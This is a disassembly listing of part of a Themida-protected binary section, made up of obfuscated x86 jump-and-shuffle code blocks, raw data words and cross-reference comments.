; ---------------------------------------------------------------------------

loc_545D8A:				; CODE XREF: Themida_:0054A82Ej
		pop	esi
		jmp	loc_549580
; ---------------------------------------------------------------------------
		dd 8105E3C1h, 1831BEEBh, 52E981A4h, 167D966h, 0E38953D9h
		dd 0FFF97DE9h, 0DBE981FFh, 0E9574C4Eh, 115D1h, 8702C583h
		dd 0E95C242Ch, 10F0Bh
dword_545DC0	dd 24048B66h, 8904EC83h, 0E189240Ch, 389168h, 243C8900h
					; DATA XREF: Themida_:00543024o
		dd 56555351h, 50191668h, 90CFE96Ch, 0C7810000h,	4, 5C243C87h
		dd 3EE268h, 24148900h, 61E9E289h
		db 0EEh, 2 dup(0)
byte_545DFB	db 0ADh			; DATA XREF: Themida_:0054310Co
		dd 207F83h, 982D840Fh, 97680000h, 89000029h, 2EBB241Ch
		dd 11DDF1Dh, 2434FFDEh,	4C4815Bh, 81000000h, 0DF738BC6h
		dd 0A9EE8104h, 1084827h, 0A9C681C6h, 81084827h,	0DF738BEEh
		dd 3F685304h, 8900005Ch, 0BB532404h, 54307287h,	2646E9h
		db 0
; ---------------------------------------------------------------------------

loc_545E4D:				; CODE XREF: Themida_:0054E102j
		mov	ebp, esp
		push	eax
		mov	eax, 62915FD8h
		or	eax, 6233630h
		dec	eax
		shl	eax, 7
		xor	eax, 59BFFB84h
		jmp	loc_55379E
; ---------------------------------------------------------------------------

loc_545E68:				; CODE XREF: Themida_:00544FD6j
		push	dword ptr [esp]
		jmp	loc_55549F
; ---------------------------------------------------------------------------
		dd 0FD42E959h, 20E9FFFFh, 0C1FFFFD4h, 0D2F707EAh, 5421EA81h
		dd 0EA813EF2h, 0C0C09FBBh, 0D9E9D601h, 0BD000103h, 68C0749h
		dd 0BE56h, 0F4E90000h, 3100008Ch, 77E9241Ch
		db 0F1h, 2 dup(0)
byte_545EAB	db 83h			; DATA XREF: Themida_:0054318Co
		db 0ECh, 4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_546E6B
; ---------------------------------------------------------------------------

loc_545ECD:				; CODE XREF: Themida_:0054F85Fj
		shl	ebx, 1
		or	ebx, 5B913A14h
		sub	esp, 4
		jmp	loc_5517E3
; ---------------------------------------------------------------------------
		db 89h,	3Ch, 24h
		dd 0A5EDABFh, 7EFC10Bh,	24348757h, 3487D6F7h, 0C7815F24h
		dd 13524B6Fh, 8B5FF829h, 8953241Ch, 4C381E3h, 81000000h
		dd 4C3h, 241C8700h, 0DACEE9h, 4C48300h,	8704C583h, 0ACE9242Ch
		dd 8900000Dh, 4C381E3h,	57000000h, 4BFh, 0E9FB0100h, 0F464h
		dd 0BCCF84BBh, 5BDA015Ah, 98B3E9h, 241C8900h, 0CAE9E389h
		db 0DDh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_545F4F:				; CODE XREF: Themida_:00548F52j
		mov	[esp], ecx
		push	edx
		mov	dl, 94h
		mov	cl, dl
		pop	edx
		sub	cl, 90h
		sub	bl, 0
		jmp	loc_54E145
; ---------------------------------------------------------------------------

loc_545F63:				; CODE XREF: Themida_:0054B3B5j
		or	ch, 21h
		jmp	loc_547948
; ---------------------------------------------------------------------------
		db 1
		dd 1EBB53DAh, 0F7000A3Ah, 0BD554BDBh, 23EA699Ah, 1F0FED81h
		dd 0EB01AD58h, 5BDA015Dh, 7892EA81h, 875B1775h,	248B2414h
		dd 2404D224h, 0D2FDE99Ch, 815AFFFFh, 1F4877EAh,	0FA01596Bh
		dd 0DE93E953h, 0C3250000h, 0E910A91Ch, 3842h, 5304E7C1h
		dd 0B60704BBh, 51C38161h, 1FA9D16h, 78E95BDFh, 680000EEh
		dd 51C77632h, 5AD3015Ah, 8904EC83h, 0E951243Ch,	10EEBh
dword_545FE4	dd 81D830ACh, 4ECh, 240C8900h, 0E9C08DB1h, 0C0C9FE06h
					; DATA XREF: Themida_:0054316Co
		dd 0EC8102E1h, 4, 0B3241C89h, 5BD930CBh, 1D6F6866h, 240C8966h
		dd 1242C80h, 0EC815966h, 4, 0E9240489h,	0FFFFFA09h, 0D105C829h
		dd 59421975h, 0F04F8525h, 2114053Dh, 0E02D5D86h, 0C14D2635h
		dd 9D3504E8h, 90327CDh,	6E14E9C7h, 0E9590000h, 0B3B8h
		dd 4BAh, 5AD08900h, 0D35EE9h
		db 0
byte_54605D	db 0FFh, 77h, 1Ch	; DATA XREF: Themida_:005431ACo
		dd 4B82BE56h, 44817F1Ah, 16430424h, 44816DD5h, 72ED0424h
		dd 74012074h, 0BA520424h, 207472EDh, 8245429h, 0EBFE95Ah
		dd 4890000h, 64BE924h
		db 2 dup(0)
word_546092	dw 77FFh		; DATA XREF: Themida_:00543054o
		dd 142C683Ch, 3C890000h, 0AE6AE924h, 98BF0000h,	4F5CF848h
		dd 0C781D7F7h, 3BA033BFh, 18E9D7F7h, 80000004h,	0EC83FFC3h
		dd 4896602h, 20D0B424h,	0E95866E3h, 109CBh, 8058C628h
		dd 29E971C6h, 330000EAh, 31E92434h
		db 0E1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5460DF:				; CODE XREF: Themida_:00550402j
		push	ecx
		push	3854h
		mov	[esp], esi
		mov	esi, 427E63E3h
		shr	esi, 5
		push	eax
		mov	eax, esp
		push	edi
		mov	edi, 0C777410h
		sub	edi, 0C77740Ch
		jmp	loc_545C81
; ---------------------------------------------------------------------------

loc_546104:				; CODE XREF: Themida_:0054B512j
		not	ecx
		dec	ecx
		jmp	loc_54A189
; ---------------------------------------------------------------------------
aIRrits		db '┴$$RR┴БИ|',1Bh,0
		align 4

loc_546118:				; CODE XREF: Themida_:0055605Aj
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		pop	dword ptr [esp]
		not	edx
		xor	[esp], edx
		xor	edx, [esp]
		xor	[esp], edx
		push	dword ptr [esp]
		pop	eax
		push	ebx
		jmp	loc_543D1E
; ---------------------------------------------------------------------------
		db 0B5h
		dd 95B252B2h, 0C05AD508h, 0EE6804EDh, 89000007h, 18B02404h
		dd 0C500E704h, 7EDC058h, 0ED80CDFEh, 0FFEB2893h, 57592434h
		dd 0C781E789h, 4, 8704C783h, 248B243Ch,	50C32824h, 0EC832EB4h
		dd 0EDEDE902h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54617E:				; CODE XREF: Themida_:0054E051j
		mov	edi, 7D9B5F2Eh
		mov	esi, 0B242D991h
		jmp	loc_5456FB
; ---------------------------------------------------------------------------

loc_54618D:				; CODE XREF: Themida_:005557B7j
		not	ebx
		xchg	ebx, [esp]
		pop	ebx
		push	ebp
		mov	ebp, 933E1512h
		sub	ebx, ebp
		pop	ebp
		and	edi, ebx
		jmp	loc_5520C6
; ---------------------------------------------------------------------------
		db 0B8h
		dd 2, 2161E9h, 0D0E9E900h, 489FFFFh, 1943E924h,	0C7880001h
		dd 1C8BFA88h, 4C48324h,	8124048Bh, 4C4h, 2C8A0400h, 3CFFE9D8h
		db 2 dup(0)
word_5461D6	dw 478Fh		; DATA XREF: Themida_:00543100o
		dd 0D0BDE940h, 0F381FFFFh, 3AAC42BEh, 0E2D9C381h, 0D1E92BEFh
		dd 5800006Eh, 0FFE031E9h, 80D7F6FFh, 0C780ADCFh, 5BF828CDh
		dd 0DEB55166h, 0E8005004h, 8B66502Ch, 0C481240Ch, 2, 0F9B25266h
		dd 1E9D028h, 54000089h,	0B156E9h, 2C8B5400h, 4C48124h
		dd 68000000h, 1073h, 56241489h,	468h, 24348B00h, 4C481h
		dd 0F2890000h, 5E2434FFh, 4C481h, 0FCE90000h, 40000DBh
		dd 0C2685A08h, 89000069h, 60B1240Ch, 0D4B25266h, 7033E9h
		db 0
; ---------------------------------------------------------------------------

loc_54626D:				; CODE XREF: Themida_:0054F793j
		push	eax
		push	ebx
		mov	ebx, 534A6920h
		push	edx
		mov	edx, 2C966E1Ch
		add	edx, 2AB200C2h
		or	ebx, edx
		pop	edx
		jmp	loc_543899
; ---------------------------------------------------------------------------
		dd 0E9243C33h, 0F3AEh, 29DC281h, 89E916F2h, 52FFFFE7h
		dd 0E953E289h, 0E61Ch, 0A3E9E389h, 0F700009Eh, 87E987D5h
		dd 0E9F187CEh, 0DD29h, 48D1E281h, 0EA810BD9h, 0E64A8293h
		dd 5CE9D121h
		db 0E7h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_5462CB:				; CODE XREF: Themida_:0054CC86j
		mov	[esp], ecx
		mov	ecx, edx
		mov	esi, ecx
		pop	ecx
		jmp	loc_54F787
; ---------------------------------------------------------------------------
		dd 0E95DEF31h, 0FFFFFCD8h, 2436C781h, 0D7017F8Ah, 2436EF81h
		dd 835A7F8Ah, 3C8704C7h, 24248B24h, 2474FF51h, 48F5904h
		dd 24248B24h, 0E9240C89h, 0FFFFCF8Fh, 335BDF01h, 0C1E9243Ch
		dd 50000D6h, 423E0F14h,	142DF001h, 8B423E0Fh, 0C4832434h
		dd 1C46E904h, 565E0001h, 0E7E9E689h, 570000D8h,	0FFFD65E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54633D:				; CODE XREF: Themida_:00555FCDj
		xor	edx, 0FE46F0Eh
		add	ebx, edx
		pop	edx
		not	ebx
		xor	ebx, 0EED915F0h
		mov	edi, ebx
		jmp	loc_554651
; ---------------------------------------------------------------------------
		db 4Dh,	81h, 0EDh
		dd 3FD4EA9h, 895DEE89h,	7C015EF7h, 3C8B0424h, 4C48324h
		dd 2AEF685Fh, 34890000h, 9CBB5324h, 530D3F44h, 5B2414F7h
		dd 0F381D3F7h, 0D3F4498h, 815BDE89h, 796705C7h,	81F70154h
		dd 796705EFh, 487DE954h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54639E:				; CODE XREF: Themida_:0054564Fj
		push	esi
		push	175D0263h
		jmp	loc_54E30F
; ---------------------------------------------------------------------------
		db 83h,	0EDh, 1
		dd 3AC5814Dh, 89FF7DEEh, 0DD015DEBh, 83241C8Bh,	1E904C4h
		dd 810000A4h, 0FE0004F5h, 5DEB89A3h, 88AC681h, 0DE016679h
		dd 69A2E9h, 4C48100h, 81000000h, 4C3h, 4EB8100h, 0E9000000h
		dd 0FFFFE5A2h, 0E0A6E957h, 0C181FFFFh, 9B86160h, 0E981F901h
		dd 9B86160h, 19E1B850h,	0C129492Ch, 68BBE958h, 0C4830000h
		dd 9DE0E904h, 0E6810000h, 32581370h, 253FCE81h,	0CE81639Fh
		dd 828233Ch, 1A04F681h,	0F0294F90h, 0E9F8015Eh,	5A5Fh
; ---------------------------------------------------------------------------

loc_54643C:				; CODE XREF: Themida_:0054B1A4j
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5471F3
; ---------------------------------------------------------------------------

loc_54644A:				; CODE XREF: Themida_:005564C7j
		pop	esp
		not	edi
		dec	edi
		shr	edi, 4
		push	ebx
		mov	ebx, 10BA4F91h
		not	ebx
		xchg	esi, ebx
		jmp	loc_552F30
; ---------------------------------------------------------------------------
		dd 0D143F6B9h, 46B8504Ch, 0D74CA35h, 6DAD11F2h,	0A361E9h
		dd 0E5C38100h, 5A41B430h, 0E904C383h, 0FFFFF7F1h
dword_546484	dd 606368h, 24048900h, 8FCE9h, 241C8900h, 0B519F068h, 241C8B0Fh
					; DATA XREF: Themida_:00543000o
		dd 7CE95453h, 29000012h, 0B87EE9D1h, 0E1810000h, 2B7908C1h
		dd 96FAE9h, 24248B00h, 81240C89h, 2ECh,	1C896600h, 61B36824h
		dd 0D0E90000h, 0C10000C6h, 0F78106E7h, 3D4334FEh, 829CE952h
		db 2 dup(0)
word_5464DE	dw 34FFh		; DATA XREF: Themida_:005430E8o
aSe		db '$Иeы',0
		align 2
		dw 14F7h
		dd 242C8B24h, 5E08950h,	4, 405h, 24048700h, 31EF315Ch
		dd 51EF31FDh, 0C181E189h, 4, 8704E983h,	895C240Ch, 74FF243Ch
		dd 3C8B0424h, 4C48324h,	0E924048Fh, 0FFFFCD73h,	3E1C058h
		dd 51CEC980h, 0FA3E9h
		db 0
; ---------------------------------------------------------------------------

loc_546535:				; CODE XREF: Themida_:00549C6Aj
		mov	esp, [esp]
		push	small word ptr [eax]
		jmp	loc_54329B
; ---------------------------------------------------------------------------

loc_546540:				; CODE XREF: Themida_:0054695Fj
		add	ebx, edx
		add	ebx, 5965456Ch
		pop	edx
		push	esi
		push	eax
		push	7DDA1D13h
		pop	eax
		and	eax, 72113AD4h
		xor	eax, 70101814h
		jmp	loc_544F9D
; ---------------------------------------------------------------------------
		dd 1D0DC581h, 29E94585h
		db 0F5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54656B:				; CODE XREF: Themida_:005436AEj
		shl	edi, 3
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_5491BC
; ---------------------------------------------------------------------------
		db 0B8h
		dd 718801D4h, 992E8C2Dh, 624A0558h, 0E8C111DDh,	0FEE94007h
		dd 89000069h, 8FBD242Ch, 814BEE3Dh, 7B2D04EDh, 4EC8361h
		dd 68241489h, 495D1233h, 5AD5295Ah, 7FFCBE56h, 0FCE94142h
		dd 2C000024h, 665B666Ch, 47CB353h, 0E9D80054h, 42CCh, 5D74C681h
		dd 0F589DD10h, 8324348Bh, 0BA5204C4h, 232D6B51h, 22C55468h
		dd 0D3015B32h, 5DEB315Ah, 4C66F381h, 0EB8108F7h, 47543B2Eh
		dd 8108E3C1h, 4ECh, 242C8900h, 6B33ABBDh, 0E9EB290Ah, 8DBFh
		dd 9536FDB8h, 0A3B9517Eh, 31033406h, 0D0F759C8h, 5601E883h
		dd 5ECFA2BEh, 5EF03182h, 2B3DC781h, 0C70102ADh,	239BE9h
		db 0
; ---------------------------------------------------------------------------

loc_546641:				; CODE XREF: Themida_:0054AFAEj
		mov	edx, [esp]
		add	esp, 4
		push	34FFh
		mov	[esp], edx
		push	edi
		mov	edi, 664C30CAh
		or	edi, 1CD16F24h
		jmp	loc_54D687
; ---------------------------------------------------------------------------
		dd 7605D8F7h, 3166E979h, 0C58158C5h, 1AFA9D88h,	0FF5DEB29h
		dd 30E92434h
		db 0CBh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_54667B:				; CODE XREF: Themida_:00544410j
		mov	esp, [esp]
		mov	[esp], bx
		push	ecx
		mov	ecx, esp
		jmp	loc_549A40
; ---------------------------------------------------------------------------
		dw 0CD89h
		dd 95C18159h, 0E979F24Bh, 56E6h, 8904EC83h, 0D0892404h
		dd 0E9C78957h, 67EFh
; ---------------------------------------------------------------------------

loc_5466A8:				; CODE XREF: Themida_:005512CCj
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		pop	eax
		push	4416h
		mov	[esp], ecx
		push	ebx
		mov	ebx, 64E2404Eh
		push	ebp
		push	ebx
		pop	ebp
		push	ebp
		pop	ecx
		pop	ebp
		jmp	loc_54A933
; ---------------------------------------------------------------------------

loc_5466D0:				; CODE XREF: Themida_:00546DFEj
		xor	edi, 5E3502DAh
		xor	esi, edi
		jmp	loc_54777A
; ---------------------------------------------------------------------------
aRsa		db 'RИAх',0
		dw 8100h
		dd 4C1h, 10B36800h, 1C890000h, 4CC7BB24h, 0E3C10812h, 3EE95008h
		dd 5B000083h, 0BD55D701h, 644A2D64h, 2BE8ED81h,	86E95904h
		db 0DBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_546713:				; CODE XREF: Themida_:00556F0Dj
		push	ecx
		mov	ecx, 158B116Bh
		shl	ecx, 8
		push	ebx
		jmp	loc_54CEA2
; ---------------------------------------------------------------------------
		dw 0DD29h
		dd 0E2C5815Bh, 0E9173B30h, 6E63h, 4C4815Ch, 0E9000000h
		dd 0DD70h
dword_54673C	dd 2474FF57h, 1A1DE904h, 6C680001h, 89000002h, 79E9240Ch
					; DATA XREF: Themida_:005431C0o
		db 14h,	1, 0
; ---------------------------------------------------------------------------

loc_546753:				; CODE XREF: Themida_:0054594Dj
		sub	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		jmp	loc_546B4B
; ---------------------------------------------------------------------------

loc_54676C:				; CODE XREF: Themida_:005440CCj
		shr	ecx, 5
		neg	ecx
		sub	ecx, 0FD22DFCEh
		add	ebx, 1ED12D25h
		jmp	loc_54CAF1
; ---------------------------------------------------------------------------
		dw 7C01h
		dd 5E5F0424h, 6D7ABD55h, 0E58122EDh, 747E5CFEh,	5AC0F581h
		dd 0A4E90301h
		db 0C4h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_54679F:				; CODE XREF: Themida_:0055580Dj
		mov	edx, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_55019E
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 34D078C2h, 4C3835Dh,	31241C33h, 1C33241Ch, 0B205E924h
		dd 0ED810000h, 29E91A79h, 47E6E9h, 7C216800h, 8F540000h
		dd 0A1E92404h, 80FFFFD9h, 0E95A93C3h, 928Eh, 0C181E189h
		dd 4, 4EC81h, 14890000h, 46824h, 815A0000h, 202761E9h
		dd 7C18136h, 0E9080445h, 3DC3h,	81E28952h, 4C2h, 0D6ADE900h
		dd 7CE9FFFFh, 81FFFFCAh, 0FCE318C7h, 8BF90140h,	0E4E9243Ch
		dd 0B90000CDh, 175549ACh, 0CCA3C181h, 0CB01F893h, 0AFEB8159h
		dd 0E9683650h, 0FFFFF516h
; ---------------------------------------------------------------------------

loc_546848:				; CODE XREF: Themida_:0054B69Bj
		add	esp, 4
		add	esp, 4
		push	esi
		jmp	loc_54801F
; ---------------------------------------------------------------------------
		dw 1489h
		dd 2E36BA24h, 0D131EF18h, 59CE015Ah, 4B850h, 0C6810000h
		dd 5EDA4858h, 4DB2E9h
		db 0
; ---------------------------------------------------------------------------

loc_546879:				; CODE XREF: Themida_:00548367j
		push	7D99h
		mov	[esp], esi
		mov	esi, 0
		sub	esi, 63D178E6h
		sub	esi, ebp
		add	esi, 63D178E6h
		jmp	loc_54A628
; ---------------------------------------------------------------------------

loc_546899:				; CODE XREF: Themida_:005491B1j
		push	1102h
		mov	[esp], edx
		mov	edx, 50F1300Dh
		sub	edx, 28733FEBh
		push	ecx
		push	edi
		push	5A8A3C43h
		jmp	loc_54A52B
; ---------------------------------------------------------------------------
		dd 4C481h, 5CE90000h, 49FFFFEFh, 0B850D1F7h, 7205444Ah
		dd 50F72D40h, 0C1319A75h, 55F7E958h, 89500000h,	405E0h
		dd 4050000h, 87000000h,	34E92404h, 890000F6h, 46BE2434h
		dd 814F0006h, 0EB6FA0F6h, 0ACC68138h, 21DC58E3h, 2434FFF1h
		dd 4C4815Eh, 57000000h,	0FFECCFE9h, 81E689FFh, 4C6h, 4EE8300h
		dd 5C243487h, 1AD9E9h, 1C7F6800h, 6AE90000h
		db 8, 2	dup(0)
; ---------------------------------------------------------------------------

loc_546933:				; CODE XREF: Themida_:0054F5F3j
		mov	edx, 756C61BCh
		or	edi, edx
		jmp	loc_5481F1
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0E9042474h, 0B6D6h, 31241433h, 0E1E92414h
		db 66h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_546953:				; CODE XREF: Themida_:0054DB46j
		add	edx, 0D69D9FA2h
		sub	ebx, 5965456Ch
		jmp	loc_546540
; ---------------------------------------------------------------------------
dword_546964	dd 8B2434FFh, 0C0E92404h, 0BB00004Eh, 52BB5705h, 0EB18E9h
					; DATA XREF: Themida_:005431E4o
		db 0
byte_546979	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:005430C8o
aHjq		db '$h╕Q',0
		align 2
		dw 3489h
		dd 81E68924h, 4ECh, 24148900h, 576E68h,	240C8900h, 0D803E9h
		dd 24248B00h, 9F7EE9h, 0E9F18700h, 0C6C8h, 2404895Ch, 0E9E18951h
		dd 51BBh, 0E9243487h, 3801h, 0E3D1E3D1h, 8DD2EB81h, 0AAE9D498h
		dd 0F600008Bh, 0E9EC30DDh, 5E61h
; ---------------------------------------------------------------------------

loc_5469D8:				; CODE XREF: Themida_:00554355j
		push	edx
		jmp	loc_544663
; ---------------------------------------------------------------------------
		dw 489h
		dd 5B95124h, 5152BB57h,	0C3815958h, 558D185Eh, 0BD55C329h
		dd 34685084h, 4F24B850h, 5DE957EFh, 81FFFFFCh, 0DB675EE9h
		dd 1B0DE981h, 0E5880000h, 8324048Bh, 885A04C4h,	885059E8h
		dd 58E388CCh, 8B66C188h, 0C4832404h, 0D05E902h,	0E95E0001h
		dd 2588h, 0D888EB88h, 4625E9h, 2EA8100h, 0E9261162h, 0FFFFF139h
		dd 0A74F05B9h, 0C1D9F714h, 0C18104E9h, 17ED6C5Ch, 0F76FF181h
		dd 0ED8126A2h, 310D7473h, 0C581CD01h, 310D7473h, 4EC8359h
		dd 0FF242C89h, 5D042474h, 0E924048Fh, 104ECh
; ---------------------------------------------------------------------------

loc_546A80:				; CODE XREF: Themida_:005565FAj
		sub	edx, 25FD102Fh
		jmp	loc_54B26C
; ---------------------------------------------------------------------------
		db 42h
		dd 10CA8E9h
		db 0
byte_546A91	db 0FFh, 77h, 1Ch	; DATA XREF: Themida_:005431FCo
		dd 0D259669Dh, 0E99C241Ch, 0FFFFC7FBh, 0C3815B54h, 4, 0E904EB83h
		dd 10ADCh, 5E5F5659h, 5F95E9h, 0EC835600h, 24148904h, 0CBA0E9h
		dd 4C38100h, 81000000h,	4EBh, 74FF5300h, 1C8B0424h, 4C48124h
		dd 8F000000h, 248B2404h, 241C8924h, 653BE954h, 0C890000h
		dd 0D5EBE924h, 0F2810000h, 0BED68C3Fh, 0E95AD589h, 0FFFFCCD2h
		dd 5F5FFD29h, 2375BB53h, 0ADE97526h, 81FFFFFEh,	4C4h, 2CD82800h
		dd 1C8B66B3h, 5558E924h, 0DE290000h, 2434875Bh,	2404895Ch
		dd 5467B5B8h, 68E9514Eh, 0C00000BCh, 0CCE903EDh, 29000024h
		dd 0C6E95DE8h
		db 58h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_546B4B:				; CODE XREF: Themida_:00546767j
		push	eax
		push	ecx
		jmp	loc_5489C6
; ---------------------------------------------------------------------------
		dw 0EF29h
		dd 83242C8Bh, 0C8904ECh, 81E18924h, 4C1h, 4C026800h, 0F3E90000h
		dd 0BD000088h, 34940B04h, 24148B55h, 4C481h, 565D0000h
		dd 2AEAE9h
		db 0
; ---------------------------------------------------------------------------

loc_546B85:				; CODE XREF: Themida_:00550082j
		push	3150h
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		push	ecx
		mov	cl, dl
		mov	bh, cl
		jmp	loc_54D931
; ---------------------------------------------------------------------------
		dd 0F388CE88h, 6968595Ah, 0E900007Dh, 0FFFFFF32h, 42474FFh
		dd 8124148Bh, 4C4h, 24048F00h, 0E924248Bh, 0FFFFC6C7h
; ---------------------------------------------------------------------------

loc_546BD4:				; CODE XREF: Themida_:0054783Ej
		xchg	ebx, [esp]
		mov	esp, [esp]
		xor	[esp], eax
		jmp	loc_54E96A
; ---------------------------------------------------------------------------

loc_546BE2:				; CODE XREF: Themida_:00554B4Ej
		xor	esi, 0FAA2D2A6h
		add	edx, 23103F5Fh
		add	edx, esi
		sub	edx, 23103F5Fh
		pop	esi
		add	edx, 98D0AD9h
		add	edx, ebx
		push	eax
		mov	eax, 14DC4282h
		jmp	loc_54E874
; ---------------------------------------------------------------------------

loc_546C0A:				; CODE XREF: Themida_:0054A60Cj
		push	bx
		jmp	loc_554E4E
; ---------------------------------------------------------------------------
		db 8Bh,	0Ch, 24h
		dd 4C481h, 0C6010000h, 1280EE81h, 9CE96E10h
		db 6Bh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_546C27:				; CODE XREF: Themida_:0054B080j
		push	eax
		mov	eax, 4
		sub	ebp, 6C943F59h
		jmp	loc_55585F
; ---------------------------------------------------------------------------
		dd 5C242C87h, 24048B66h, 8904EC83h, 9D68240Ch, 8900006Eh
		dd 1BE92424h, 0FF0000E6h, 0E9042474h, 0BCE9h, 685BD801h
		dd 0
		dd 58240429h, 78BD5548h, 810FCF40h, 2F6018C5h, 904DE972h
		dd 0F3810000h, 0AD32D0BCh, 575BDD21h, 0FFD7B0E9h, 0D8015CFFh
		dd 0F0E5E9h, 0E0895000h, 405h, 4BD5500h, 0E9000000h, 7A92h
		dd 63B5F281h, 0D0892F77h, 58C2295Ah, 1CE4E9h
		db 0
; ---------------------------------------------------------------------------

loc_546CB5:				; CODE XREF: Themida_:00543307j
		pop	esi
		jmp	loc_54791B
; ---------------------------------------------------------------------------
		db 81h
		dd 6F64D8EFh, 0F96E964h, 8B5D0000h, 7DE92404h, 5C000068h
		dd 81E28952h, 4C2h, 4C28300h, 0FC5DE952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_546CE2:				; CODE XREF: Themida_:0054A198j
		push	edx
		jmp	loc_5502B4
; ---------------------------------------------------------------------------

loc_546CE8:				; CODE XREF: Themida_:00555975j
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebp
		jmp	loc_556CE9
; ---------------------------------------------------------------------------
		dw 0EA83h
		dd 24143304h, 33241431h, 895C2414h, 0E789243Ch,	1A2CBD55h
		dd 0ED8129AEh, 4EF44F19h, 63E9D5F7h, 810000CCh,	0F747C8F5h
		dd 0E9EA8922h, 8E26h
; ---------------------------------------------------------------------------

loc_546D34:				; CODE XREF: Themida_:0054B6F0j
		mov	[esp], ebx
		mov	ebx, 11C45DDAh
		inc	ebx
		inc	ebx
		shl	ebx, 3
		add	ebx, 138664E4h
		push	edi
		mov	edi, 1F976C9Ah
		jmp	loc_5500BC
; ---------------------------------------------------------------------------
word_546D52	dw 31ADh		; DATA XREF: Themida_:00543060o
		dd 8B5452D8h, 0C4832414h, 4BD5504h, 0E9000000h,	0FFFFE8A9h
; ---------------------------------------------------------------------------

loc_546D68:				; CODE XREF: Themida_:0054EE5Cj
		add	al, 73h
		jmp	loc_555592
; ---------------------------------------------------------------------------
		db 1
		dd 0C8B850EFh, 2574ED2Eh, 1D045C5h, 1EB70540h, 25487402h
		dd 38127D7Fh, 0FFD0CEE9h, 5E5168FFh, 2C890000h,	4EC8324h
		dd 0BA241489h, 10CD5C85h, 8DE9DAF7h, 0E90000E2h, 0FFFFC4EFh
		dd 4C581h, 0C5830000h, 74FF5504h, 8F5D0424h, 0A9E92404h
		dd 0BE00004Dh, 21B7141Ah, 6E1AF681h, 0F0296057h, 0E9D0295Eh
		dd 2CBAh
dword_546DD8	dd 24048B66h, 83E68956h, 6CE904ECh ; DATA XREF:	Themida_:00543074o
		db 78h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_546DE7:				; CODE XREF: Themida_:0054ED79j
		add	ebp, 4
		push	edi
		jmp	loc_547438
; ---------------------------------------------------------------------------

loc_546DF3:				; CODE XREF: Themida_:005522C6j
		mov	[esp], ecx
		mov	ecx, 66E515B8h
		mov	edi, ecx
		pop	ecx
		jmp	loc_5466D0
; ---------------------------------------------------------------------------
		db 5Bh
		dd 0FC2AE953h, 0CB86FFFFh, 0CB30D1F6h, 0CB30D930h, 8B66D988h
		dd 0C481241Ch, 2, 0CDE980h, 0DAF659CAh,	0D3F6DA86h, 0EC81DA86h
		dd 4, 0B1240C89h, 59CA088Bh, 7944E9h
		db 0
; ---------------------------------------------------------------------------

loc_546E41:				; CODE XREF: Themida_:0054E6B0j
		pop	edi
		push	ebx
		jmp	loc_547C1C
; ---------------------------------------------------------------------------

loc_546E48:				; CODE XREF: Themida_:0054CCE2j
		pop	edx
		add	esi, 0EE48DA8Eh
		sub	[edi+24h], esi
		mov	esi, [esp]
		jmp	loc_5459A4
; ---------------------------------------------------------------------------
aST		db '[ИъБ',0
		align 10h

loc_546E60:				; CODE XREF: Themida_:00554EF8j
		pop	esi
		shr	ecx, 7
		push	esi
		push	edi
		jmp	loc_557649
; ---------------------------------------------------------------------------

loc_546E6B:				; CODE XREF: Themida_:00545EC8j
		pop	dword ptr [esp]
		push	esi
		push	4FA8h
		jmp	loc_54B03E
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd offset dword_43B164+0B85h
		dd 59C82800h, 51B252h, 3F7AE9D0h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_546E8E:				; CODE XREF: Themida_:00553904j
		push	ebx
		push	edi
		mov	edi, 717C746Eh
		mov	ebx, 989EDF76h
		sub	ebx, edi
		jmp	loc_545C54
; ---------------------------------------------------------------------------

loc_546EA1:				; CODE XREF: Themida_:00556E70j
		add	edi, 0CB4ECE96h
		xor	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		not	ebp
		xor	ebp, 1F462BA9h
		push	eax
		mov	eax, ebp
		push	eax
		push	ebp
		mov	ebp, 28086978h
		sub	[esp+4], ebp
		pop	ebp
		pop	esi
		add	esi, 28086978h
		pop	eax
		mov	ebp, [esp]
		add	esp, 4
		add	esi, 3144D54h
		jmp	loc_54996B
; ---------------------------------------------------------------------------
		dw 535Dh
		dd 0DFE118BBh, 4E7FE9C1h, 0FF510000h, 59042474h, 0E924048Fh
		dd 8DD9h, 0E994C380h, 0FFFFF1B3h, 0F713C681h, 0F729FC6Ch
		dd 243C335Eh, 0E9243C31h, 0FFFFE5B0h, 0BF243C89h, 396120F3h
		dd 47BCBE56h, 0F7014BC5h, 68D7F75Eh, 844h, 83240C89h, 248904ECh
		dd 0BF92E924h
